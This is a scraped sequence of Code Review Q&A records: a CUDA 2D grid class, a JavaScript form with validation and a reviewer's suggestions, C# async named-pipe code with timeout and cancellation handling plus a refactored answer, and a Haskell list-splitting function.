return dev_ptr_;
}
const Field<T>* devPtr() const
{
return dev_ptr_;
}
DEVHOST size_t size() const
{
return nx_ * ny_;
}
DEVHOST T* operator[](size_t idx)
{
return data_ + idx * nx_;
}
DEVHOST const T* operator[](size_t idx) const
{
return data_ + idx * nx_;
}
public:
size_t nx_;
size_t ny_;
T* data_;
Field<T>* dev_ptr_;
};
template <typename T>
KERNEL void init_kernel(Field<T>* f, size_t nx, size_t ny)
{
f->nx_ = nx;
f->ny_ = ny;
f->data_ = reinterpret_cast<T*>(malloc(nx * ny * sizeof(T)));
}
template <typename T>
KERNEL void delete_kernel(Field<T>* f)
{
free(f->data_);
}
</code></pre>
<p>In order to create an instance of <code>Field<T></code> to be worked with further, I need to call a kernel, which initializes it. And then a kernel to delete this object on the device memory. The code on the host will look like:</p>
<pre><code>Field<float>* f;
init_kernel<<<1,1>>>(f, 100, 100);
delete_kernel<<<1,1>>>(f);
</code></pre>
<p>What would be the more robust and clever way to implement the desired functionality. I would appreciate any suggestions, or references to the good practices of <code>CUDA</code> Programming, except for the <code>docs.nvidia.com</code>.</p>
<p><strong>The intended usage</strong></p>
<p>Several instances of this <code>Field</code> are stored in another structure, namely</p>
<pre><code>struct NavierStokesSolver{
//some methods
private:
//velocity fields
Field<Vec2> v_old, v_new;
//pressure fields
Field<float> p_old, p_new;
//color fields
Field<Color3> c_old, c_new;
};
</code></pre>
<p>There is a method, which runs an iteration on the data, where the <code>device</code> pointers are passed to the <code>__global__</code> functions, and updated.
Something like</p>
<pre><code> advect_kernel<<<blocks, threads>>>(v_new.devPtr(), v_old.devPtr(), c_new.devPtr(), c_old.devPtr(), decay, dt);
project_kernel<<<blocks, threads>>>(v_old.devPtr(), p_old.devPtr());
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:41:45.640",
"Id": "489163",
"Score": "1",
"body": "Why do you think this is not efficient?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T20:04:36.337",
"Id": "489166",
"Score": "0",
"body": "@G.Sliepen I have a little experience with `CUDA`, but calling a kernel object to allocate a lot of memory using only one thread seems to be a waste of resources. Another point, is that for object, which is intended to store two-dimensional data - there are some special features with `CUDA` memory allocation - there is a notion of *Pitched* memory, which may be relevant in that case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T20:42:59.197",
"Id": "489170",
"Score": "1",
"body": "Ok the obvious solution to the first is to not allocate using a kernel object, but allocate it outside it, and just pass a pointer to the allocated memory to your kernel functions. And yes, you can allocate pitched memory (see [this question](https://stackoverflow.com/questions/1047369/allocate-2d-array-on-device-memory-in-cuda)). I would make it so your `class Field` doesn't allocate memory itself, but you give its constructor a pointer to the memory allocated using `cudaMallocPitch()`, as well as the pitch, and make `operator[]` take the pitch into account."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T06:34:34.347",
"Id": "489200",
"Score": "0",
"body": "@G.Sliepen thanks! It is really helpful!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T23:44:36.733",
"Id": "489302",
"Score": "0",
"body": "To be backwards compatible with C all fields including pointers to functions are public, there is no reason to use the public keyword here."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T13:56:53.267",
"Id": "489326",
"Score": "0",
"body": "Do you have a unit test for the struct that demonstrates how it is used in real code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T07:11:03.387",
"Id": "489368",
"Score": "0",
"body": "@pacmaninbw concerning the unit tests - I do not have them (I know, that is at least a very good practice, to have a unit test for crucial parts of the program, but haven't come with an idea for a good structure of them). I've made a slight modificiation, which solves part of the mentioned problem - need to explicitly call kernel for allocation and deallocation (now they are called in the constructor and destructor). I have updated the post."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T07:24:50.757",
"Id": "489370",
"Score": "0",
"body": "@pacmaninbw `public` keyword is really uncessary, I've left it, because initially intended to make these fields `private`"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:14:42.070",
"Id": "249510",
"Score": "4",
"Tags": [
"c++",
"classes",
"cuda"
],
"Title": "Creating a C++ style class for storing a data on 2D grid on GPU memory"
}
|
249510
|
<p><strong>Goal</strong></p>
<p>I have developed a random check that I have thought of. I have used purely JavaScript to get used to the language and learn it. I have also used JavaScript to create elements, classes, id etc... and at the end, I have a simple validation check to check if all inputs have been filled.</p>
<p>I would to soon improve the validation check by prompting to show which field is empty.</p>
<p>Finally, I'd like to only know where I can improve my code, in terms of simplicity, how I can make it simpler? I'll be happy to hear any recommendations!</p>
<p><strong>Code:</strong></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
<div class="container mt-4">
<h3>Form:</h3>
<form id="form" class="mt-4 mb-4" action="/reports_send/21-TEMP-01a" method="POST">
<div style="border: 1px solid black; padding: 40px; border-radius: 25px;">
<div class="container mt-4">
<div id="errors" class="mt-4"></div>
</div>
<h4>Select Room</h4>
<div id="RoomSelect">
</div>
<div id="RoomInputs">
</div>
<button class="btn btn-primary">Submit</button>
</div>
</form>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV" crossorigin="anonymous"></script>
<script>
// -----------------------------PART-1---------------------------------------------------
// Will be used to add select element
var RoomSelectId = document.getElementById("RoomSelect");
// Create select element
var selectElement = document.createElement("select");
selectElement.setAttribute("id", "RoomMenu");
selectElement.setAttribute("class", "form-control mb-4");
// Drying room 1
var dryingRoom1 = document.createElement("option");
dryingRoom1.value = "DryingRoom1";
dryingRoom1.text = "Drying Room 1";
selectElement.appendChild(dryingRoom1);
// Drying room 2
var dryingRoom2 = document.createElement("option");
dryingRoom2.value = "DryingRoom2";
dryingRoom2.text = "Drying Room 2";
selectElement.appendChild(dryingRoom2);
// Dry Store
var dryStore = document.createElement("option");
dryStore.value = "DryStore";
dryStore.text = "Dry Store";
selectElement.appendChild(dryStore);
RoomSelectId.appendChild(selectElement);
// -----------------------------PART-1-END-----------------------------------------------
// -----------------------------PART-2---------------------------------------------------
// Creating inputs for temperature and humidity
// Get div of room inputs
var roomInputsId = document.getElementById("RoomInputs");
// Get all options
var roomOptions = document.getElementById("RoomMenu");
// Create all inputs, such as temperature and humidity
for(var i = 0; i < roomOptions.length ; i++) {
var divElement = document.createElement("div");
divElement.setAttribute("class", `form-group RoomDivEl ${roomOptions.options[i].value}`);
divElement.style.display = "none";
//Title
var title = document.createElement("h4");
title.appendChild(document.createTextNode(roomOptions.options[i].innerHTML));
divElement.appendChild(title);
// Temperature
// Actual
var actualTemp = document.createElement("label");
actualTemp.innerHTML = "Temperature °C - <strong>Actual</strong>";
divElement.appendChild(actualTemp);
var actualTempInput = document.createElement("input");
actualTempInput.setAttribute("class", "form-control");
actualTempInput.setAttribute("type", "number");
actualTempInput.setAttribute("name", `ActualTemp${roomOptions.options[i].value}`);
divElement.appendChild(actualTempInput);
// Minimum
var minTemp = document.createElement("label");
minTemp.innerHTML = "Temperature °C - <strong>Minimum</strong>";
divElement.appendChild(minTemp);
var minTempInput = document.createElement("input");
minTempInput.setAttribute("class", "form-control");
minTempInput.setAttribute("type", "number");
minTempInput.setAttribute("name", `minTemp${roomOptions.options[i].value}`);
divElement.appendChild(minTempInput);
// Maximum
var maxTemp = document.createElement("label");
maxTemp.innerHTML = "Temperature °C - <strong>Maximum</strong>";
divElement.appendChild(maxTemp);
var maxTempInput = document.createElement("input");
maxTempInput.setAttribute("class", "form-control");
maxTempInput.setAttribute("type", "number");
maxTempInput.setAttribute("name", `maxTemp${roomOptions.options[i].value}`);
divElement.appendChild(maxTempInput);
// Actual
var actualHumidity = document.createElement("label");
actualHumidity.innerHTML = "Relative Humidity - <strong>Actual</strong>";
divElement.appendChild(actualHumidity);
var actualHumidityInput = document.createElement("input");
actualHumidityInput.setAttribute("class", "form-control");
actualHumidityInput.setAttribute("type", "number");
actualHumidityInput.setAttribute("name", `actualHumidity${roomOptions.options[i].value}`);
divElement.appendChild(actualHumidityInput);
// Invisible input box to be used to get Room Name
var invisibleRoomName = document.createElement("input");
invisibleRoomName.setAttribute("name", `RoomName${roomOptions.options[i].value}`);
invisibleRoomName.setAttribute("value", `${roomOptions.options[i].innerHTML}`);
invisibleRoomName.style.display = "none";
divElement.appendChild(invisibleRoomName);
// Minimum
var minHumidity = document.createElement("label");
minHumidity.innerHTML = "Relative Humidity - <strong>Minimum</strong>";
divElement.appendChild(minHumidity);
var minHumidityInput = document.createElement("input");
minHumidityInput.setAttribute("class", "form-control");
minHumidityInput.setAttribute("type", "number");
minHumidityInput.setAttribute("name", `minHumidity${roomOptions.options[i].value}`);
divElement.appendChild(minHumidityInput);
// Maximum
var maxHumidity = document.createElement("label");
maxHumidity.innerHTML = "Relative Humidity - <strong>Maximum</strong>";
divElement.appendChild(maxHumidity);
var maxHumidityInput = document.createElement("input");
maxHumidityInput.setAttribute("class", "form-control");
maxHumidityInput.setAttribute("type", "number");
maxHumidityInput.setAttribute("name", `maxHumidity${roomOptions.options[i].value}`);
divElement.appendChild(maxHumidityInput);
// Combine all into the div element
roomInputsId.appendChild(divElement);
}
// Set desfault option to index of 0
for(var i = 0; i < roomInputsId.getElementsByClassName("RoomDivEl").length; i++) {
roomInputsId.getElementsByClassName("RoomDivEl")[0].style.display = "block";
}
// -----------------------------PART-2-END-----------------------------------------------
// -----------------------------PART-3---------------------------------------------------
// Event listener to access its chuld class and target selected option
roomOptions.addEventListener("change", (event) => {
const selectOption = roomInputsId.getElementsByClassName(event.target.value);
// Hide all Divs
for(var i = 0; i < roomInputsId.getElementsByClassName("RoomDivEl").length; i++) {
roomInputsId.getElementsByClassName("RoomDivEl")[i].style.display = "none";
}
// Show selected div
selectOption[0].style.display = "block";
})
// -----------------------------PART-3-END-----------------------------------------------
// -----------------------------PART-4---------------------------------------------------
// Check if every temp and humidity hass ben done
document.getElementById("form").addEventListener("submit", (e) => {
// Error messages array used in the loop below
var errorMessages = [];
// For loop to go over each Fridge and Freezer temperature value
for(var i = 0; i < document.forms["form"].getElementsByTagName("input").length; i++) {
// Checking if any values is empty
if(!document.forms["form"].getElementsByTagName("input")[i].value) {
errorMessages.push("Fill");
}
}
if(errorMessages.length > 0) {
e.preventDefault();
document.getElementById("errors").innerHTML = '<div class="alert alert-danger" role="alert"><p><strong>Please complete all the Temperatures and Humidity Checks</strong></p></div>';
}
});
// -----------------------------PART-4-END-----------------------------------------------
</script></code></pre>
</div>
</div>
</p>
|
[] |
[
{
"body": "<p><strong>setAttribute?</strong> When assigning properties to elements, I'd prefer to use dot notation assignment instead of <code>setAttribute</code> - it's more concise and a bit easier to read and write. For example:</p>\n<pre><code>selectElement.setAttribute("id", "RoomMenu");\nselectElement.setAttribute("class", "form-control mb-4");\n</code></pre>\n<p>can turn into</p>\n<pre><code>selectElement.id = 'RoomMenu';\nselectElement.className = 'form-control mb-4';\n</code></pre>\n<p><strong>Use modern syntax</strong> It's 2020. For clean, readable code in a reasonably professional project, I'd recommend writing in the latest and greatest version of the language - or at <em>least</em> in ES2015. Modern syntax offers quite a few benefits, such as the ability to use <code>const</code>, concise arrow functions, and much more. If you're worried about browser compatibility, use <a href=\"https://babeljs.io/\" rel=\"noreferrer\">Babel</a> to transpile your code automatically into ES5 for production, while keeping the source code modern, readable, and concise.</p>\n<p>You're already using template literals (which are ES2015) - might as well go the rest of the way.</p>\n<p><strong>Element creation DRYing</strong> You create a lot of elements dynamically, and then assign various properties and attributes. You could do this more elegantly by abstracting it into a function, and then calling that function whenever you need to make an element. For example, for Part 1, you could do:</p>\n<pre><code>const createElement = (tagName, parent, properties) => {\n const element = parent.appendChild(document.createElement(tagName));\n Object.assign(element, properties);\n return element;\n};\n\n// Will be used to add select element\nconst RoomSelectId = document.getElementById("RoomSelect");\nconst selectElement = createElement(\n 'select',\n RoomSelectId,\n { id: 'RoomMenu', className: 'form-control mb-4' }\n);\ncreateElement(\n 'option',\n selectElement,\n { value: 'DryingRoom1', text: 'Drying Room 1' }\n);\ncreateElement(\n 'option',\n selectElement,\n { value: 'DryingRoom2', text: 'Drying Room 2' }\n);\ncreateElement(\n 'option',\n selectElement,\n { value: 'DryStore', text: 'Dry Store' }\n);\n</code></pre>\n<p>And so on.</p>\n<p><strong>Don't re-select elements you already have</strong> If you have a reference to an element already, eg:</p>\n<pre><code>var selectElement = document.createElement("select");\nselectElement.setAttribute("id", "RoomMenu");\n</code></pre>\n<p>Then there's no need to select it again later with</p>\n<pre><code>var roomOptions = document.getElementById("RoomMenu");\n</code></pre>\n<p>That adds extra computation for no reason, and is confusing. Just keep using the old variable name of <code>selectElement</code>.</p>\n<p><strong>Manual iteration?</strong> Having to mess with indicies of an array manually is a bit ugly. When you have a collection you want to iterate over, and you don't care about the indicies, don't iterate over the indicies if possible - instead, <em>just iterate over the collection</em>. For example, in Part 2, instead of</p>\n<pre><code>for(var i = 0; i < roomOptions.length ; i++) {\n // numerous references to roomOptions.options[i]\n</code></pre>\n<p>you can use</p>\n<pre><code>for(const option of roomOptions.options) {\n // numerous references to option\n</code></pre>\n<p><strong>Text insertion</strong> You do:</p>\n<pre><code>title.appendChild(document.createTextNode(roomOptions.options[i].innerHTML));\n</code></pre>\n<p>There are 2 issues here:</p>\n<ul>\n<li>When you start with an empty element and want to populate it with text, it's easier to assign to its <code>textContent</code> than to go through <code>document.createTextNode</code> and <code>appendChild</code></li>\n<li>Unless you're deliberately setting or retrieving HTML markup from an element, it's more appropriate to use <code>textContent</code> than <code>innerHTML</code>. The code above can be replaced by:</li>\n</ul>\n<pre><code>title.textContent = option.textContent;\n</code></pre>\n<p>This applies to other areas of the code as well. You have many instances of <code>.innerHTML =</code> when you're only assigning text, so you should assign to the <code>.textContent</code> instead. (Using <code>innerHTML</code> is not only less appropriate and potentially slower, but it can result in arbitrary code execution when the HTML being set isn't trustworthy)</p>\n<p><strong>Selectors and array methods are great</strong> You have:</p>\n<pre><code>var errorMessages = [];\n// For loop to go over each Fridge and Freezer temperature value\nfor(var i = 0; i < document.forms["form"].getElementsByTagName("input").length; i++) {\n // Checking if any values is empty\n if(!document.forms["form"].getElementsByTagName("input")[i].value) {\n errorMessages.push("Fill");\n }\n}\nif(errorMessages.length > 0) {\n e.preventDefault();\n document.getElementById("errors").innerHTML = '<div class="alert alert-danger" role="alert"><p><strong>Please complete all the Temperatures and Humidity Checks</strong></p></div>';\n}\n</code></pre>\n<p>Rather than <code>document.forms['form'].getElementsByTagName("input")</code>, you can use a selector string to select the inputs which are children of <code>#form</code>:</p>\n<pre><code>document.querySelectorAll('#form input');\n</code></pre>\n<p>Selector strings are terse, flexible, and correspond directly to CSS selectors, and so are probably the preferred method of selecting elements. (You can change to this method in other places in the code as well, such as when you define <code>selectOption</code>)</p>\n<p>Since you want to check if any of the inputs have an empty value, rather than pushing unexamined values to an array, use <code>Array.prototype.some</code> instead:</p>\n<pre><code>if ([...document.querySelectorAll('#form input')].some(input => !input.value)) {\n e.preventDefault();\n document.getElementById("errors").innerHTML = '<div class="alert alert-danger" role="alert"><p><strong>Please complete all the Temperatures and Humidity Checks</strong></p></div>';\n}\n</code></pre>\n<p><strong>Variable names</strong> You have:</p>\n<ul>\n<li><code>roomInputsId</code>: This is an element, not an ID; better to remove the "Id" suffix. But since it's an element, not multiple elements: the <code>s</code> makes it sound plural when it's not. Maybe call it <code>roomInputsContainer</code> instead?</li>\n<li><code>RoomSelectId</code>: Similar to above, but it's also using PascalCase. Ordinary variables in JS nearly always use <code>camelCase</code> - reserve <code>PascalCase</code> for classes, constructors, and namespaces, for the most part.</li>\n<li><code>roomOptions</code>: Like the first - this is a single element, so it shouldn't be plural</li>\n</ul>\n<p><strong>Overall</strong> If this is for something professional that needs to be maintained, and you have to do this sort of thing frequently on pages (dynamically creating, appending, removing, validating elements), I'd consider using a standard framework instead; they're a bit more maintainable in the long run over multiple developers and multiple years.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T21:01:04.203",
"Id": "489294",
"Score": "0",
"body": "Appreciate your great responses!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T12:37:05.917",
"Id": "489543",
"Score": "0",
"body": "Are you able to explain please what is happening in the `if([...document.querySelectorAll...` - I have never seen such thing before, especially the 3 dots `...`. Also - what would be way to point out/ highlight which field is missing a value?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T12:45:56.537",
"Id": "489545",
"Score": "0",
"body": "I am thinking something like this: `// Check empty\n for(var i = 0; i < document.querySelectorAll('#form input').length; i++) {\n\n e.preventDefault();\n \n if(document.querySelectorAll('#form input')[i].value === \"\") {\n document.querySelectorAll('#form input')[i].style.backgroundColor = 'red';\n } else {\n document.querySelectorAll('#form input')[i].style.backgroundColor = '#fff';\n }\n \n }`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T19:01:51.270",
"Id": "489601",
"Score": "0",
"body": "That `[...qSA()]` turns what `qSA` returns into an array. It's called spread syntax https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax You could also iterate manually or use `Array.from` or `Array.prototype.slice.call`, but that'd be more verbose. Spreading into an array and then using array methods makes for short, concise, readable code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T21:18:39.023",
"Id": "489617",
"Score": "0",
"body": "Where did you learn all this? - you literally answer all my questions on point and great depth."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T01:29:41.197",
"Id": "489640",
"Score": "0",
"body": "Mostly lots of practice and experience in combination with a desire to keep code concise. There are lots of ways to do things in JS, and once you know what they are, it can be simple to decide which method you prefer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T09:00:09.367",
"Id": "489673",
"Score": "0",
"body": "Do you have any suggestions in books to read? I recently purchased \"Eloquent Javascript\"."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:38:04.373",
"Id": "489728",
"Score": "0",
"body": "I don't know, unfortunately. I haven't read any JS books, everything I've learned has come from bits and pieces scattered online."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:44:06.130",
"Id": "489730",
"Score": "0",
"body": "Much respect to you :D - You should do some online lessons, I'll be definitely down to learn from you."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T03:51:35.903",
"Id": "249523",
"ParentId": "249511",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "249523",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:35:13.687",
"Id": "249511",
"Score": "3",
"Tags": [
"javascript",
"html"
],
"Title": "Pure Javascript to create forms and validation check Project"
}
|
249511
|
<p>I've got a method, <code>CheckForValue()</code>, that uses named pipes to send a message to another process running locally, and then receive a message from that process, returning a bool indicating if it is equivalent with some value.</p>
<p>I'm concerned that I am not handling <code>CancellationToken</code>s and errors correctly. If there any errors (or timeouts), I just want this method to return <code>false</code>.</p>
<p>Again, I am not concerned with different methods of IPC, or using a single duplex named pipe, etc. My concern is the error handling and the usage of <code>CancellationToken</code>s here.</p>
<h3><code>CheckForValue</code></h3>
<pre class="lang-cs prettyprint-override"><code>public async Task<bool> CheckForValue()
{
int timeout = 300; //300ms should be plenty of time
try
{
using (var getValueCancellationTokenSource = new CancellationTokenSource())
{
var valueTask = GetValueUsingNamedPipe(getValueCancellationTokenSource);
using (var timeoutCancellationTokenSource = new CancellationTokenSource())
{
var completedTask = await Task.WhenAny(valueTask, Task.Delay(timeout, timeoutCancellationTokenSource.Token));
if (completedTask == valueTask)
{
if (timeoutCancellationTokenSource.Token.CanBeCanceled)
{
timeoutCancellationTokenSource.Cancel();
}
var result = valueTask.Result;
return (result == "WhatIWant");
}
if (getValueCancellationTokenSource.Token.CanBeCanceled)
{
getValueCancellationTokenSource.Cancel ();
}
return false;
}
}
}
catch (Exception)
{
return false;
}
}
</code></pre>
<h3><code>GetValueUsingNamedPipe</code></h3>
<pre class="lang-cs prettyprint-override"><code>public async Task<string> GetValueUsingNamedPipe(CancellationTokenSource ct)
{
var response = "";
try
{
Task sendMsg = SendMessage ("MyMessage", ct);
await sendMsg;
response = await Listen(ct);
}
catch (Exception)
{
return "";
}
return response;
}
</code></pre>
<h3><code>SendMessage</code></h3>
<pre class="lang-cs prettyprint-override"><code>public async Task SendMessage(string message, CancellationTokenSource ct)
{
try
{
using (var _pipeClientStream = new NamedPipeClientStream(".", "MyPipe", PipeDirection.Out, PipeOptions.Asynchronous))
{
await _pipeClientStream.ConnectAsync (1000, ct.Token);
var writer = new StreamWriter (_pipeClientStream) { AutoFlush = true };
await writer.WriteLineAsync (message);
await writer.WriteLineAsync (MessageFooter);
}
}
catch (Exception)
{
await Task.FromCanceled(ct.Token);
}
}
</code></pre>
<h3><code>Listen</code></h3>
<pre class="lang-cs prettyprint-override"><code>public async Task<string> Listen(CancellationTokenSource ct)
{
try
{
if (ct.Token.IsCancellationRequested)
{
ct.Token.ThrowIfCancellationRequested ();
}
using (var _pipeClientStream = new NamedPipeClientStream(".", "MyListenPipe", PipeDirection.In, PipeOptions.Asynchronous, TokenImpersonationLevel.Impersonation))
{
await _pipeClientStream.ConnectAsync (ct.Token);
if (!ct.IsCancellationRequested)
{
var sb = new StringBuilder ();
var reader = new StreamReader (_pipeClientStream);
do
{
string line = await reader.ReadLineAsync ();
if (line == MessageFooter || line == null)
{
break;
}
sb.AppendLine (line);
} while (true);
return sb.ToString ();
}
return "";
}
}
catch (Exception e)
{
return "";
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T11:20:46.287",
"Id": "489233",
"Score": "0",
"body": "Can please tell us what's the point of the `timeoutCancellationTokenSource` in your code? This whole `Task.WhenAny` and `Task.Delay` is unnecessary. You could specify a timeout at the `ctor` of the CTS or by calling the `CancelAfter`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T12:44:32.437",
"Id": "489249",
"Score": "0",
"body": "Well, that code came from a stackoverflow question about how to start a task with a timeout. The idea is that after the timeout, we would just give up on the whole thing and just return false. For some reason I thought maybe it was a good idea to cancel the delay task, but perhaps it isn't required?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T12:58:17.843",
"Id": "489250",
"Score": "0",
"body": "This is the post that shows how to use the ```Task.Delay..``` technique: https://stackoverflow.com/questions/4238345/asynchronously-wait-for-taskt-to-complete-with-timeout"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T14:19:16.013",
"Id": "489266",
"Score": "0",
"body": "If you look the requirements of the question (that you have linked) then you can spot that he OP is talking about two separate timeouts / duration thresholds. In your case you have only a single timeout. Your request either succeed, fail or timeout. Do I understand your program correctly?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T15:30:49.513",
"Id": "489276",
"Score": "0",
"body": "Yes, you are correct"
}
] |
[
{
"body": "<p>According to my understanding your piece of software can finish in one of the following states:</p>\n<ul>\n<li>Succeeded</li>\n<li>Failed</li>\n<li>Timed out</li>\n</ul>\n<p>You are not exposing the ability to cancel it on the top level. So, it is not cancelable.</p>\n<p>Your explicit cancellation mechanism is not needed because:</p>\n<ol>\n<li>If timeout occurs at the top level then this fact will be available for all async methods, which received the <code>CancellationToken</code>. The built-in BCL functions will check the token's validity so you don't have to worry about it.</li>\n<li><code>SendMessage</code> and <code>Listen</code> are called sequentially. So if former fails then latter won't be called.</li>\n<li>After <code>connectAsync</code> your <code>IsCancellationRequested</code> is pointless. If <code>connectAsync</code> succeeded then this property won't be true. If it was not succeeded then you would not reach this line because your <code>Listen</code> function will be aborted.</li>\n</ol>\n<p>On the other hand there is one place where it could make sense to check the <code>cancellationToken</code>. That's inside the <code>do-while</code> loop because the <code>ReadLineAsync</code> is not cancellable.</p>\n<p>So let's put all this together with these in mind. I've converted your code into C# 8 if you don't mind.</p>\n<h3>Listen</h3>\n<pre class=\"lang-cs prettyprint-override\"><code>public async Task<string> Listen(CancellationToken ct)\n{\n try\n {\n await using var _pipeClientStream = new NamedPipeClientStream(".", "MyListenPipe", PipeDirection.In, PipeOptions.Asynchronous, TokenImpersonationLevel.Impersonation); \n await _pipeClientStream.ConnectAsync(ct);\n\n var sb = new StringBuilder();\n using var reader = new StreamReader(_pipeClientStream);\n do\n {\n ct.ThrowIfCancellationRequested();\n string line = await reader.ReadLineAsync();\n\n if (line == MessageFooter || line == null)\n {\n break;\n }\n sb.AppendLine(line);\n\n } while (true);\n\n return sb.ToString();\n }\n catch\n {\n return "";\n }\n}\n</code></pre>\n<ul>\n<li>The <code>NamedPipeClientStream</code> is <code>IAsyncDisposable</code> that's why I used <code>await using</code>.</li>\n<li>The <code>StreamReader</code> is <code>IDisposable</code> that's why I used <code>using</code>.</li>\n<li>I've checked the <code>CancellationToken</code> before each <code>ReadLineAsync</code> because it is not cancellable.</li>\n</ul>\n<h3>SendMessage</h3>\n<pre class=\"lang-cs prettyprint-override\"><code>public async Task SendMessage(string message, CancellationToken ct)\n{\n await using var _pipeClientStream = new NamedPipeClientStream(".", "MyPipe", PipeDirection.Out, PipeOptions.Asynchronous);\n await _pipeClientStream.ConnectAsync(1000, ct);\n\n await using var writer = new StreamWriter(_pipeClientStream) { AutoFlush = true };\n await writer.WriteLineAsync(message.AsMemory(), ct);\n await writer.WriteLineAsync(MessageFooter.AsMemory(), ct);\n}\n</code></pre>\n<ul>\n<li><code>WriteLineAsync</code> can accept <code>CancellationToken</code> only if it is called with a <code>ReadOnlyMemory</code> or with a <code>StringBuilder</code>. That's why I used <code>AsMemory</code>.</li>\n<li><code>StreamWriter</code> is <code>IAsyncDisposable</code> that's why I used <code>await using</code>.</li>\n</ul>\n<h3>GetValueUsingNamedPipe</h3>\n<pre class=\"lang-cs prettyprint-override\"><code>public async Task<string> GetValueUsingNamedPipe(CancellationToken ct)\n{\n await SendMessage("MyMessage", ct);\n return await Listen(ct);\n}\n</code></pre>\n<ul>\n<li>The <code>sendMsg</code> variable is pointless because right after the assignment it is awaited then never used.</li>\n<li>I've removed the try-catch block because in that way the <code>TaskCancelledException</code> would be caught here.</li>\n<li>So basically if you wish you can inline this method into the <code>CheckForValue</code></li>\n</ul>\n<h3>CheckForValue</h3>\n<pre class=\"lang-cs prettyprint-override\"><code>public async Task<bool> CheckForValue()\n{\n const int timeout = 300;\n try\n {\n using var timeoutTokenSource = new CancellationTokenSource(timeout);\n var result = await GetValueUsingNamedPipe(timeoutTokenSource.Token);\n return (result == "WhatIWant");\n }\n catch (TaskCanceledException) //The actual type will be TimedOutTaskCanceledException\n {\n return false;\n }\n catch (Exception) // GetValueUsingNamedPipe failed for some reason\n {\n return false;\n }\n}\n</code></pre>\n<ul>\n<li>All the explicit cancellation calls are gone, because they are not needed. The cancellation fact will be propagated all the related parties and it will manifest in a <code>TaskCancelledException</code>.</li>\n<li>So it is much cleaner now. :D</li>\n</ul>\n<p>I hope it helped you a bit.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T15:17:44.750",
"Id": "249544",
"ParentId": "249520",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249544",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T01:15:20.260",
"Id": "249520",
"Score": "2",
"Tags": [
"c#",
"error-handling",
"asynchronous",
"async-await",
"task-parallel-library"
],
"Title": "A method that calls multiple async tasks with error handling, done the right way?"
}
|
249520
|
<p><code>Split</code>: Write a function split that takes a delimiter value <code>“c”</code> and a list <code>“iL”</code>, and it splits the input list with respect to the delimiter <code>“c”</code>.</p>
<p>Example output:</p>
<pre><code>split 0 [1,2,3,0,4,0,5,0,0,6,7,8,9,10]
[[1,2,3],[4],[5],[],[6,7,8,9,10]]
</code></pre>
<p>My <code>split</code> function:</p>
<pre><code>split :: Eq a => a -> [a] -> [[a]]
split a iL = let
helper a [] buf = (reverse buf):[]
helper a (x:xs) buf = if x==a
then (reverse buf):(helper a xs []) -- reverse
else (helper a xs (x:buf))
in helper a iL [] -- use helper
</code></pre>
